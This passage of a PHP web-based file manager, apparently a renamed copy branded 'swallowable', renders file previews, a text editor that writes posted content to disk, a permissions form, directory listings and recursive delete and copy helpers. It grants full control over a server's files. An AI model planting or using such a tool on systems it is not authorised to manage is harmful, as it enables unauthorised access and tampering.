<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
